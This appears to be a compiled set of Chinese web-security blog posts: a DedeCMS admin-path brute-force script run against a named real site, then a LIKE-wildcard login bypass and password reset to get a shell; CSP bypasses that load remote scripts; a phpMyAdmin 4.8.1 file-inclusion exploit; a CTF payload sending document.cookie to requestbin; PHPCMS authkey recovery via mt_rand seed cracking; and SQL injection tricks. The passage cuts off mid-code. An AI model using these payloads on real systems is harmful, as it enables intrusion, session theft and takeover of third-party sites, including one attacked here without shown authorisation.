Dedecms 猜后台管理员账号的一个小技巧

巅峰极客里遇到的一个案例(yx-tv.com)。

案例为,windows下的dedecms 好像是2017版本, 开启了会员中心,修改了后台的路径,
然后用之前windows下dedecms找后台路径的方法, 发现tags.php被删除了,
但是plus/rss.php文件存在, 然后用这方法就成功的找到了后台。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
import sys

payloads = 'abcdefghijklmnopqrstuvwxyz0123456789_-'

menu = ''
for k in range(10):
for payload in payloads:
data = "dopost=save&_FILES[b4dboy][tmp_name]=../%s%s</images/admin_top_logo.gif&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif"% (menu, payload)
res = requests.post("http://www.yx-tv.com/plus/rss.php", data=data, headers={"Content-Type":"application/x-www-form-urlencoded"})
if res.content.decode("utf-8").find("Error") > -1:
menu += payload
break
if payload == '-':
print(menu)
sys.exit()
print(menu)

然后猜了下后台的管理员账户, 没猜到, admin直接提示账户不存在。
然后再利用之前的重置管理员密码的漏洞。
https://xz.aliyun.com/t/1959
成功重置了管理员的密码, 但是修改cookie登录后, 发现显示的管理员账号是admin, 但是之前在登录后台的时候试了下admin, 是直接提示的账户不存在。
(好像是显示的是uname, 但是最终登录是看的userid)

后面发现在dede/login.php中

1
$res = $cuserLogin->checkUser($userid,$pwd);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
/**
* 检验用户是否正确
*
* @access public
* @param string $username 用户名
* @param string $userpwd 密码
* @return string
*/
function checkUser($username, $userpwd)
{
global $dsql;

//只允许用户名和密码用0-9,a-z,A-Z,'@','_','.','-'这些字符
$this->userName = preg_replace("/[^0-9a-zA-Z_@!\.-]/", '', $username);
$this->userPwd = preg_replace("/[^0-9a-zA-Z_@!\.-]/", '', $userpwd);
$pwd = substr(md5($this->userPwd), 5, 20);
$dsql->SetQuery("SELECT admin.*,atype.purviews FROM `#@__admin` admin LEFT JOIN `#@__admintype` atype ON atype.rank=admin.usertype WHERE admin.userid LIKE '".$this->userName."' LIMIT 0,1");
$dsql->Execute();
$row = $dsql->GetObject();
if(!isset($row->pwd))
{
return -1;
}
else if($pwd!=$row->pwd)
{
return -2;
}
else
{
$loginip = GetIP();
$this->userID = $row->id;
$this->userType = $row->usertype;
$this->userChannel = $row->typeid;
$this->userName = $row->uname;
$this->userPurview = $row->purviews;
$inquery = "UPDATE `#@__admin` SET loginip='$loginip',logintime='".time()."' WHERE id='".$row->id."'";
$dsql->ExecuteNoneQuery($inquery);
$sql = "UPDATE #@__member SET logintime=".time().", loginip='$loginip' WHERE mid=".$row->id;
$dsql->ExecuteNoneQuery($sql);
return 1;
}
}

先通过用户输入的用户名查询出密码, 如果有记录的话, 就比对密码。
但是在这里 根据用户名查询密码的时候

1
WHERE admin.userid LIKE '".$this->userName."

竟然是用的like。

1
$this->userName = preg_replace("/[^0-9a-zA-Z_@!\.-]/", '', $username);

虽然在前面有把一些用户名不允许的字符给替换为空了, 想直接用%这种匹配任意数量字符的模糊查询出数据就不行了。
但是可以看到这个过滤没有把_替换为空。

1
2
3
4
5
With LIKE you can use the following two wildcard characters in the pattern:

% matches any number of characters, even zero characters.

_ matches exactly one character.

在mysql中的模糊查询中, _也代表着匹配一个任意字符。

-w1406

所以在不知道管理员的用户名的情况下, 只要去用_跑一下, 当_的位数和管理员账户的位数相同时即可登录成功了。

巅峰极客的是4位数, 然后用之前修改管理员密码的洞修改的密码, 就成功登录了后台, 然后后台getshell, 就搞定了。

CSP unsafe-inline时, 引入外部js

前言

原文: https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa
用自己的理解, 把这个文章比较通俗的翻译补充了一下。


利用场景

当csp有Unsafe-inline时, 并且受限于csp无法直接引入外部js, 当frame-src 为self, 或者能引入当前域的资源的时候, 即有一定可能能够引入外部js。


正文

虽说在CSP有unsafe-inline的时候, 已经能够很轻松的把cookie给传递出去了。 但是如果想引入xss平台的js的时候, 也很麻烦。 因为xss平台的js因为功能很多, 所以通常js文件都很大, 在unsafe-inline的情况下,很可能有长度限制之类的导致没法执行到xss平台的js。

CSP测试环境。

1
Content-Security-Policy: default-src 'self' 'unsafe-inline';

在上CSP的时候, 一些静态文件中是可能不上CSP的。并且如果这个静态文件没有 X-Frame-Options: Deny(禁止该文件被iframe)响应头的话,这个时候我们iframe去打开这个没有CSP的静态文件, iframe相当于另外打开一个窗口,因为是同源的, 然后我们操作dom往iframe新打开的窗口里写入script标签去引入外部js, 就可以无视script-src self的限制了。

demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
header("Content-Security-Policy: default-src 'self' 'unsafe-inline';");
?>
<html>
<head>
</head>
<body>
<script>

var frame = document.createElement("iframe");
frame.href = "/robots.txt";
document.body.appendChild(frame);

setTimeout(function(){
var script = document.createElement("script");
script.src = '//xxx.com/a.js';
window.frames[0].document.body.appendChild(script);
},2000);

</script>
</body>
</html>

成功加载了外部的js了。

但是如果是在nginx的配置文件中, add_header 来做csp的话,

那么所有静态文件中, 也会返回CSP。
在nginx文档中有写到,

Directives
Syntax: add_header name value [always];
Default: —
Context: http, server, location, if in location
Adds the specified field to a response header provided that the response code equals 200, 201 (1.3.10), 204, 206, 301, 302, 303, 304, 307 (1.1.16, 1.0.13), or 308 (1.13.0). The value can contain variables.

There could be several add_header directives. These directives are inherited from the previous level if and only if there are no add_header directives defined on the current level.

If the always parameter is specified (1.7.5), the header field will be added regardless of the response code.

当没有设置always的时候, 如果response code为4xx或者5xx的时候, add_header 不会起作用。 那么当这个时候, 我们可以iframe引入4xx/5xx的页面, 然后往4xx/5xx的页面里面dom里插入script标签。 如果设置了always的话, 无论什么response code, 都会添加响应头。

1
add_header Content-Security-Policy "default-src 'self' 'unsafe-inline';";

配置文件中加上add_header, csp

静态文件中也都有了csp了。
这里我们利用4xx页面, 4xx页面最简单的肯定就是404了。
当然还有一些其他触发4xx页面的方法。

1)超长url

1
2
3
4
5
<script>
var frame = document.createElement("iframe");
frame.src = "a".repeat(10000);
document.body.appendChild(frame);
</script>

2)超长cookie

1
2
3
4
5
6
<script>
for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(10000)};
var frame = document.createElement("iframe");
frame.src = "a";
document.body.appendChild(frame);
</script>


3)不正确的unicode路径
utf不存在g开头的,

4)
nginx在主目录上继续往上级目录跳的时候, 也会出现400

不过相比起这些4xx, 肯定404是最好找到的了。
不过现在404各种风格, 也有404页面的reponse code为200或者302的。 那么上面那些其他4xx的就有作用了。

add_header设置csp后。

404页面中没有csp。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
header("Content-Security-Policy: default-src 'self' 'unsafe-inline';");
?>
<html>
<head>
</head>
<body>
<script>

var frame = document.createElement("iframe");
frame.src = "/404notfound";
document.body.appendChild(frame);

setTimeout(function(){
var script = document.createElement("script");
script.src = '//xxx.com/a.js';
window.frames[0].document.body.appendChild(script);
},2000);

</script>
</body>
</html>

可以引入外部js了。
当然这种引入4xx/5xx页面的方法, 如果add_header的时候设置了always的话, 也是没办法利用的了。

除了iframe以外, object和embed也可以, 一样的原理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
header("Content-Security-Policy: default-src 'self' 'unsafe-inline';");
?>
<html>
<head>
</head>
<body>
<script>

var embed = document.createElement("embed");
embed.src = "/hhhhhhh";
document.body.appendChild(embed);

setTimeout(function(){
var script = document.createElement("script");
script.src = '//cm2.in/12';
window.frames[0].document.body.appendChild(script);
},2000);

</script>
</body>
</html>

Reference

https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa

phpMyAdmin4.8.1 文件包含漏洞

起因

一个很简单的漏洞, 分析的文章也都出来了很多, 但是看了那些文章, 我一直搞不懂为啥问号要双重url编码, 我自己看那些文章感觉不编码应该也能成功利用的。 并且好像大家对问号编码的说法各有不同。 还是自己下载了份源码看了一下。

4.8.1下载地址:https://files.phpmyadmin.net/phpMyAdmin/4.8.1/phpMyAdmin-4.8.1-all-languages.zip


分析

在index.php中

1
2
3
4
5
6
7
8
9
10
// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include($_REQUEST['target']);
exit;
}

可以加载一些脚本。
直接看最后一个检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}

if (! isset($page) || !is_string($page)) {
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
); // $page 是我们传递进来的要包含的文件
// 这里是截取到$page里?之前的文件名 并存入$_page中,

// 如果$_page, 在白名单之类的话, 直接通过, 所以这里我们不用双重编码也会return true.
// public static $goto_whitelist = array(
// 'db_datadict.php',
// 'db_sql.php',
// 'db_events.php',
// 随便从白名单的列表中选一个文件就行了。

if (in_array($_page, $whitelist)) {
return true;
}

// 如果双重编码, 在下面这个流程里因为解码了, 也会return true
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

return false;
}

return true了, 就直接include了。

直接传 db_sql.php?/../robots.txt 就能成功包含到了。
不需要编码, 因为这时候 include ‘db_sql.php?/../robots.txt’
在include中, ?号后面的字符 并不会当成query,
问号也就只是路径的一部分而已。 所以不需要编码, 利用/../ 也能跳出目录。


Getshell的话, 根据p师傅的思路,执行sql语句后, 直接包含session文件就行。

1
2
3
4
5
6
7
$session_name = 'phpMyAdmin';
@session_name($session_name);

// Restore correct sesion ID (it might have been reset by auto started session
if (isset($_COOKIE['phpMyAdmin'])) {
session_id($_COOKIE['phpMyAdmin']);
}

phpmyadmin的session_name 是phpMyAdmin

执行的sql语句存入session的有两个位置。 一个就是sql_history。
/libraries/classes/Relation.php中

1
2
3
4
5
$_SESSION['sql_history'][] = array(
'db' => $db,
'table' => $table,
'sqlquery' => $sqlquery,
);

这里的$sqlquery 就是所执行的sql语句, 然后存入到了$_SESSION当中。


修复

4.8.2中, 修复了这个漏洞。

1
2
3
4
5
6
7
8
9
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'], [], true)
) {
include $_REQUEST['target'];
exit;
}

在调用checkPageValidity方法的时候, 第三个参数设置为了true

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public static function checkPageValidity(&$page, array $whitelist = [], $include = false)
{

if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

if ($include) {
return false;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

当第三个参数为true的时候, 在mb_substr之前, 就return false了。
所以, 现在真的只能包含白名单内的文件了。

TCTF-h4x0rs.date

TCTF的题, 看到了大佬的一种解法。 学习了一下这种解法的原理。
https://gist.github.com/tyage/8d8aead76ffc4924579783d72a63419f

1
2
<script>location.href="//requestbin.fullcontact.com/15g8ko51?"+document.cookie</script>
<iframe src=/profile.php?id=c7ab51c5bdeec6bc6068d8a643a29907a1b7c71acb455454381fe7320cd5283e id=msg csp="script-src 'unsafe-inline';">

看了这个解法我才知道iframe还有个csp属性。。

把题目简化一下。

1
2
3
<head></head>
<script src='https://h4x0rs.date/assets/csp.js?id=&page=index.php'></script>
可控点aaaaa

引入的js内容, 是用来创建csp的, script-src的nonce是在变化的。

1
2
3
4
meta = document.createElement('meta');
meta.httpEquiv='Content-Security-Policy';
meta.content="script-src 'nonce-_indexphp_604b540b26cfe37756638953a26ff7f9'";
document.head.appendChild(meta);

看一下iframe的csp是干啥的

iframe elements have a csp attribute, which specifies the policy that an embedded document must agree to enforce upon itself. For example, the following HTML would load https://embedee.example.com/, and ensure that object-src ‘none’ was enforced upon it:

也就是说, 如果iframe标签中定义了csp属性的话, 加载嵌入的页面的时候会按照这个csp的规则来加载。

那么如果使用iframe来加载当前页面的话, 再定义csp为unsafe-inline,

1
<script src='https://h4x0rs.date/assets/csp.js?id=&page=index.php'></script>

这样原本页面中引入csp.js的时候就会因为csp的原因被chrome给拦截掉,
即创建script-src 的nonce就失败了,则嵌入的页面当前csp依旧为unsafe-inline。

1
<script>alert(document.domain)</script>

就可以执行了。

1
2
3
4
<head></head>
<script src='https://h4x0rs.date/assets/csp.js?id=&page=index.php'></script>
<script>alert(document.domain)</script>
<iframe src=1.html csp="script-src 'unsafe-inline'">


如果js创建csp不是引入的外部js, 而就是在脚本内的话。

1
2
3
4
5
6
7
8
9
<head></head>
<script>
meta = document.createElement('meta');
meta.httpEquiv='Content-Security-Policy';
meta.content="script-src 'nonce-_indexphp_604b540b26cfe37756638953a26ff7f9'";
document.head.appendChild(meta);
</script>
<script src="data:,alert(document.domain)"></script>
<iframe src=1.html csp="script-src data:">

把csp改成script-src ,自己的域名, 或者data协议之类的即可。


现在的浏览器应该暂时只有chrome支持iframe的csp属性。
大部分创建csp还是会在response header中来创建滴。


Reference

  1. https://gist.github.com/tyage/8d8aead76ffc4924579783d72a63419f
  2. https://w3c.github.io/webappsec-csp/embedded/

PHPCMS MT_RAND SEED CRACK致authkey泄露。

正文

看到phpcms更新了, 看了下补丁, 分析了下他修复的漏洞。

这种漏洞在CTF中还是比较常见的, 实例我还是第一次遇到。


在INSTALL.PHP中

1
    $cookie_pre = random(5, 'abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ').'_';
$auth_key = random(20, '1294567890abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ');		

在安装的时候, 用random来生成了cookie_pre 和 authkey,

1
2
3
4
5
6
7
8
function random($length, $chars = '0123456789') {
$hash = '';
$max = strlen($chars) - 1;
for($i = 0; $i < $length; $i++) {
$hash .= $chars[mt_rand(0, $max)];
}
return $hash;
}

这里使用了mt_rand来生成chars的索引来生成authkey之类的。
mt_rand 在一个脚本中, 产生多个随机数的时候, 只播了一次种。
那么也就是mt_rand生成cookie_pre和authkey的种子是一样的。
cookie_pre从名字就能看出这个是cookie名称的前缀, 所以是可以拿到的, 那么只要用cookie_pre爆破到了种子的话, 那么也就是拿到了生成authkey的种子。
因为种子确定了的话, 产生的随机数序列就可以确定了, 也就是每次的索引可以确定了, 就可以拿到auth_key了。

首先看到 COOKIE_PRE 为 AZZBP

这里直接用下wonderkun大佬的脚本, 来获取一下cookie_pre的各个字符串在序列中的位置。

1
2
3
4
5
6
7
8
9
10
11
12
<?php 

$str = "AZZBP";
$randStr = "abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ";

for($i=0;$i<strlen($str);$i++){
$pos = strpos($randStr,$str[$i]);
echo $pos." ".$pos." "."0 ".(strlen($randStr)-1)." ";
//整理成方便 php_mt_seed 测试的格式
//php_mt_seed VALUE_OR_MATCH_MIN [MATCH_MAX [RANGE_MIN RANGE_MAX]]
}
echo "\n";

26 26 0 51 51 51 0 51 51 51 0 51 27 27 0 51 41 41 0 51

然后用MT_RAND SEED CRACKER来爆破一下种子。

然后把爆破到的种子, 用mt_srand设置一下种子, 再来获得随机数列, 就能拿到authkey了。
因为爆破到的种子会有多个。 就一个一个慢慢试了。

在试第三个种子的时候就拿到了正确的auth_key了。

拿到auth_key后 可以做的事情很多, 就不多说了。

修复方法

官方的已经修复了。

多次播种了, 那么根据cookie_pre拿到的种子和生成auth_key的种子是不一样的, 所以authkey生成的序列就不知道咯。

为什么$_SERVER['HTTP_HOST']有时是不可控的

最近在看一套程序的时候, 看到一段代码。
如果SERVRT['HTTP_HOST']可以控制的话, 可以造成一个漏洞,
本地是测试成功了, 但是在测试demo的时候就失败掉了。
所以这里来谈谈SERVER['HTTP_HOST']为什么有时会不可控。


1
2
3
4
5
6
    GET /123.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate

平时我们在抓包的时候, 都会发现包里会有个Host header,

一些同学会以为HTTP的联机就是靠包里的HOST header来连接的,
所以会认为如果修改掉包里的HOST, 那么就连接不到目标服务器,
所以是不可控的。

其实HTTP的联机与包里的HOST并没有啥关系, HTTP的联机是TCP/IP建立的, 所以修改掉HOST HEADER并不会把包丢到另外一个服务器上。

那么为什么有时候修改HOST HEADER的时候, 还是会请求失败掉。
其实包里的HOST HEADER, 主要是针对虚拟主机来使用的,
在一个ip上搭多个域名的时候,需要使用HOST HEADER来分辨交给哪个virtual host来处理。


测试一下
在httpd.conf里添加了

<VirtualHost *:80>
    DocumentRoot "/tmp/web/ep1"
    ServerName www.example.com
    <Directory "/tmp/web/ep1">
       Options FollowSymLinks
       AllowOverride None
       Require all granted
    </Directory>
</VirtualHost>
<VirtualHost _default_:80>
    DocumentRoot "/tmp/web/ep2"
    ServerName www.example2.com
    <Directory "/tmp/web/ep2">
       Options FollowSymLinks
       AllowOverride None
       Require all granted
    </Directory>
</VirtualHost>

/tmp/ep2/ep2.php www.example2.com
/tmp/ep1/ep1.php www.example.com

<?php
var_dump($_SERVER['HTTP_HOST']);

在修改了HOST之后就404了。因为这个时候Host header 与 ServerName www.example2.com 匹配不上了, 所以现在并不是到目录/tmp/web/ep2了, 并不存在ep2.php

那么是不是虚拟主机的HTTP_HOST一定就没办法控制呢, 读一下文档

The asterisks match all addresses, so the main server serves no requests. Due to the fact that the virtual host with ServerName www.example.com is first in the configuration file, it has the highest priority and can be seen as the default or primary server. That means that if a request is received that does not match one of the specified ServerName directives, it will be served by this first .

也就是说, 在配置文件里, 第一个配置的virtualhost, 具有最高优先级, 如果HOST HEADER里的与配置文件里的所有vitualhost里的ServerName都匹配不上的话, 那就会是第一个来服务, 如果恰巧你测试的站是第一个的话…… 。

这里的文件为ep1.php, 这里的HOST HEADER, 与ServerName 都匹配不上, 那么还是交给第一个来处理了, 所以ep1.php 能访问到, 然后修改掉了HTTP_HOST。


不过这种漏洞也已经很鸡肋了, 在最新版本的apache(2.4.25)中, 已经不允许HOST HEADER中出现一些特殊字符了。不过在低版本中, 还是能引入单引号空格之类的字符的。

对请求行和请求头强制实施与RFC7230相对应的HTTP请求语法,以防止恶意客户端或下游代理对响应分裂和缓存污染

当表名可控的注入遇到了Describe时的几种情况。

SHOW COLUMNS

之前小嘎嘎遇到了个注入是表前缀不可控,表名可控的注入,
但是在表名进入的select语句执行之前, 执行了一次SHOW COLUMNS FROM $TABLE。
如果SHOW COLUMNS语句执行出错了的话,
就不会再执行后面的SELECT语句。

大概代码如:

mysql_connect("localhost","root","xiaoyu");
mysql_query("use b2cshop");
$table = $_GET['table'];
mysql_query("show columns from `shop_{$table}`") or die("show coulumns 出错:".mysql_error());
$sql = "select * from `shop_{$table}` where 1=1";
echo $sql;
echo "<br><br><br><br><br><br><br>";
var_dump(mysql_fetch_array(mysql_query("$sql")));
echo mysql_error();

要解这个, 首先来看一下 SHOW COLUMNS Syntax

1
2
SHOW [FULL] COLUMNS {FROM | IN} tbl_name [{FROM | IN} db_name]
[LIKE 'pattern' | WHERE expr]

看到where 后面可以跟expr, 就很简单了。


解决了这个, 让我想起了我好多年前遇到的另外一种, 他不是用的show columns 而是用的describe, 当年的我没解决掉, 所以又再去看了一眼,试试能不能解决掉。 DESC这种分为几种情况。

DESCRIBE

DESCRIBE is a shortcut for SHOW COLUMNS. These statements also display information for views. The description for SHOW COLUMNS provides more information about the output columns.

虽然说的是 DESCRIBE 是 SHOW COLUMNS 的shortcut,但是其实两个语法完全不同。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
{EXPLAIN | DESCRIBE | DESC}
tbl_name [col_name | wild]

{EXPLAIN | DESCRIBE | DESC}
[explain_type]
{explainable_stmt | FOR CONNECTION connection_id}

explain_type: {
EXTENDED
| PARTITIONS
| FORMAT = format_name
}

format_name: {
TRADITIONAL
| JSON
}

explainable_stmt: {
SELECT statement
| DELETE statement
| INSERT statement
| REPLACE statement
| UPDATE statement
}

分几种情况来讨论。


0x01 表名完全可控且无identifier quote。

mysql_connect("localhost","root","xiaoyu");
mysql_query("use b2cshop");
$table = $_GET['table'];
mysql_query("desc $table") or die("DESC 出错:".mysql_error());
$sql = "select * from {$table} where 1=1";
echo $sql;
echo "<br><br><br><br><br><br><br>";
var_dump(mysql_fetch_array(mysql_query("$sql")));
echo mysql_error();

这种的,应该实例特别少。
利用比较简单, 根据文档写的构造一下, 直接利用desc 来注入。

0x02 表名不完全可控且DESC和SELECT的表名都含有identifier quote

一般都是遇到的这种注入,会有表前缀是不可控的。

mysql_connect("localhost","root","xiaoyu");
mysql_query("use b2cshop");
$table = $_GET['table'];
mysql_query("desc `shop_{$table}`") or die("DESC 出错:".mysql_error());
$sql = "select * from `shop_{$table}` where 1=1";
echo $sql;
echo "<br><br><br><br><br><br><br>";
var_dump(mysql_fetch_array(mysql_query("$sql")));
echo mysql_error();

这种想了很久, 我感觉是无解, 如果有大佬能搞定的话, 求学习。

0x03 表名不完全可控且DESC和SELECT的表名都不含有identifier quote

mysql_connect("localhost","root","xiaoyu");
mysql_query("use b2cshop");
$table = $_GET['table'];
mysql_query("desc shop_{$table}") or die("DESC 出错:".mysql_error());
$sql = "select * from shop_{$table} where 1=1";
echo $sql;
echo "<br><br><br><br><br><br><br>";
var_dump(mysql_fetch_array(mysql_query("$sql")));
echo mysql_error();

自我感觉,依旧无解。

0x04 表名不完全可控且DESC的表名含有identifier quote,SELECT的表名不含identifier quote

mysql_connect("localhost","root","xiaoyu");
mysql_query("use b2cshop");
$table = $_GET['table'];
mysql_query("desc `shop_{$table}`") or die("DESC 出错:".mysql_error());
$sql = "select * from shop_{$table} where 1=1";
echo $sql;
echo "<br><br><br><br><br><br><br>";
var_dump(mysql_fetch_array(mysql_query("$sql")));
echo mysql_error();

可解,

shop_users 后面的两个``,做了shop_users 表的别名,所以无影响。
这时候desc的语句为,

desc `shop_users` `where updatexml(1,concat(0x5e24,(select user()),0x5e24),1)#`

看一下DESC的Syntax

DESC tbl_name [col_name | wild]

可以看到表名后面可以接col_name 或者 wild
为什么表名后面接了where updatexml(1,concat(0x5e24,(select user()),0x5e24),1)# 却没有报unknown column,
感觉是因为这个应该是按照wild来执行的,

wild, if given, is a pattern string. It can contain the SQL % and _ wildcard characters.

所以不会报unknown column。

0x05 表名不完全可控且DESC的表名不含identifier quote,SELECT的表名含有identifier quote

跟上面一个利用差不多,稍微改一下。

    mysql_connect("localhost","root","xiaoyu");
    mysql_query("use b2cshop");
    $table = $_GET['table'];
    mysql_query("desc shop_{$table}") or die("DESC 出错:".mysql_error());
    $sql = "select * from `shop_{$table}` where 1=1";
    echo $sql;
    echo "<br><br><br><br><br><br><br>";
    var_dump(mysql_fetch_array(mysql_query("$sql")));
    echo mysql_error();

为什么`(backtick)能做&quot;注释符&quot;

文章用markdown写的,用`的时候老是成了代码块,找了会资料都没转义掉,以下用backtick代替`。

很久以前的一个Paper,介绍了mysql下的注释符,里面包含了两种不常见的"注释符"。

今天有小伙伴刚好来问了一下我, 为啥backtick做注释符时,并不是通用的, 也就是有时候并不能注释掉,不能像#这种注释符通用。
(其实paper里的NOTE已经基本解答了这个问题,不过NOTE写的是只能用在别名处)

Note:

The backtick can only be used to end a query when used as an alias.

他给我的语句类似于

select * from qs_members where username = 'x' and password = 'x';

然后他盲注,插入payload
1' and if(substr((select password from qs_admin limit 1),1,1)='a',sleep(1),1)` 语句就成了

select * from qs_members where username='1'and if(substr((select password from qs_admin limit 1),1,1)='a',sleep(1),1)` and password='admin';

然后这时候语句就开始报错了, 但是如果把backtick换成#,语句就能正常执行, 说明这个时候backtick没有了注释效果。

首先来看一下mysql手册的comment Syntax

From a # character to the end of the line.

From a – sequence to the end of the line. In MySQL, the – (double-dash) comment style requires the second dash to be followed by at least one whitespace or control character (such as a space, tab, newline, and so on). This syntax differs slightly from standard SQL comment syntax, as discussed in Section 1.8.2.4, “'–' as the Start of a Comment”.

From a /* sequence to the following */ sequence, as in the C programming language. This syntax enables a comment to extend over multiple lines because the beginning and closing sequences need not be on the same line.

官方所介绍的注释只有前三种, backtick并不是一个真正的注释符, 而是一个identifier quote。

Backticks for enclosing identifiers such as table and column names,
Backticks are generally used to indicate an identifier and as well be safe from accidentally using the Reserved Keywords.

一般用来引住表名,列名,别名。

那为什么backtick 能当作"注释符"呢,
其实这是因为, 在mysql query 执行sql的时候, 不知道啥原因(翻了会google也没找到具体的解,感觉还是最后的时候mysql给它给闭合了?) backtick在不闭合的情况下, 也能够正常执行。

别名、表名、列名在backtick的引用下,可以写任意字符。
所以

select username from qs_members where username = '' and password = '';
我们在username处插入yu' union select 1 from qs_admin `
语句就成了
select username from qs_members where username = 'yu' union select 1 from qs_admin `' and password = ''

给起别名的时候,as是可以省略的,
所以后面的' and password = '' 这些字符都成了qs_admin表的别名,
也就相当于成了一个"注释符",让后面的内容不再有以前的效果。

那为什么有时候backtick 又不能当做注释符呢?
select * from qs_members where username='1' and if(substr((select password from qs_admin limit 1),1,1)='a',sleep(1),1)` and password='admin';
像上面我小伙伴失败的那个语句, 很明显backtick在的这个地方, 是一个不允许起别名的地方,所以语句就报错了。
还有一种失败的情况是,

当sql语句为 select * from xxx where `username` = 'a' union select 1,2` and `password`='xxxx'
很多查询会把column用`给引住, 在这种情况下, `也不能当作注释符, 因为我们插的` 和后面一个列的` 所闭合, 导致了没办法当作注释。

所以呢,backtick要起一个注释效果, 是需要在允许写表名、列名、别名的地方。

那么盲注、报错之类不用union的注入, 如何使用backtick 来注释呢。
方法很多, 比如可以找一个可以用列名的地方, 例如 order by,having 之类的。

盲注的话, 会提示找不到这个column

加个@即可

为什么感觉在实际的测试中ORDER BY注入的比例变高了

之前去阿里先知大会的时候, 在听greg.wu的议题的时候, 听到他提了一下他挖order by注入的比例占所有注入比例的20-30%(如果没记错的话)

自己在各种测试的过程中,发现的order by注入也确实不少, 每次看到order,sort之类的参数都会有点小兴奋。

那为什么在现在sql注入越来越少的情况下,order by注入的比例还不低呢。

我感觉是因为常见的查询,直接自己预编译或者用框架里的一些方法就能防止掉注入。
但是order by time这种排序是不能通过直接预编译来搞的,
因为如果直接像java里的preparestement来预编译,
order by ?, setString(1,”time”);
最后的sql语句就变成了order by “time”, 对一个字符串排序是没有效果的,所以一些人就又直接把order拼接之类的导致了注入。
而且order by 这种排序在程序中却用得不少, 因为有时候要根据用户的要求来排序, 就像网上商城那种即可以用销量来对商品进行排序,也可以用价格之类的来排序, 这时候就得根据用户传递进来的值来进行相应的排序.

那么一般是如何来防止ORDER BY注入的呢。
如果不利用框架来防止的话,我见过比较常用的两种是

1:从数据库中查询出来要排序的表中的所有列, 或者就是指定的几个列名,如果用户传递的sort变量不在允许的范围内的话,再把sort变量重置一下。

1
2
3
4
$sort = $_GET['sort'];
if(!in_array($sort,array('time','price'))){
$sort = 'time';
}

2:还见得比较多的一种就是用户直接传的是数字, 不过以下这种写法,千万别忘啦default,没default的话,又注入咯。

1
2
3
4
5
6
7
8
9
10
11
12
$sort = $_GET['sort'];
switch($sort){
case 1:
$sort = 'time';
break;
case 2:
$sort = 'price';
break;
default:
$sort = 'time';
break;
}

至于框架对于order by的防御, 有一些框架有防御, 部分没有。

我见过的两种框架防御order by注入的
一种是判断用户传递的是不是实体类的属性(hibernate),

如果order的参数不是实体类里的属性就直接报错了。

还有一种就是 用户传递进去的字符串, 给你强行加上`,再对用户传递进来的字符串清掉` , 或者对`转义

2017 0CTF simplesqlin

没打0ctf, 但是在看大佬们的writeup的时候发现了这道题。

当时就觉得这个绕过莫名其妙, 不知道是怎么写的过滤。
看了几个博客, 好像都不太清楚绕过的原理,就这样测了下就绕过去了。

不过,当看到这题的flag之后,就大概知道为什么在payload之间插入%00这种可以绕过了。flag是flag{W4f_bY_paSS_FOR_CI} 也就是waf bypass for ci, 也就是用了ci框架清除一些字符的特性来bypass了waf.

在system/core/Input.php的构造方法中

1
2
3
4
   public function __construct()
{
省略
$this->_sanitize_globals(); //净化全局变量,
1
2
3
4
5
6
7
8
9
10
11
12
13
14
   	protected function _sanitize_globals()
{
// Is $_GET data allowed? If not we'll set the $_GET to an empty array
if ($this->_allow_get_array === FALSE)
{
$_GET = array();
}
elseif (is_array($_GET))
{
foreach ($_GET as $key => $val)
{
$_GET[$this->_clean_input_keys($key)] = $this->_clean_input_data($val);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
protected function _clean_input_data($str)
{
if (is_array($str))
{
$new_array = array();
foreach (array_keys($str) as $key)
{
$new_array[$this->_clean_input_keys($key)] = $this->_clean_input_data($str[$key]);
}
return $new_array;
}

/* We strip slashes if magic quotes is on to keep things consistent

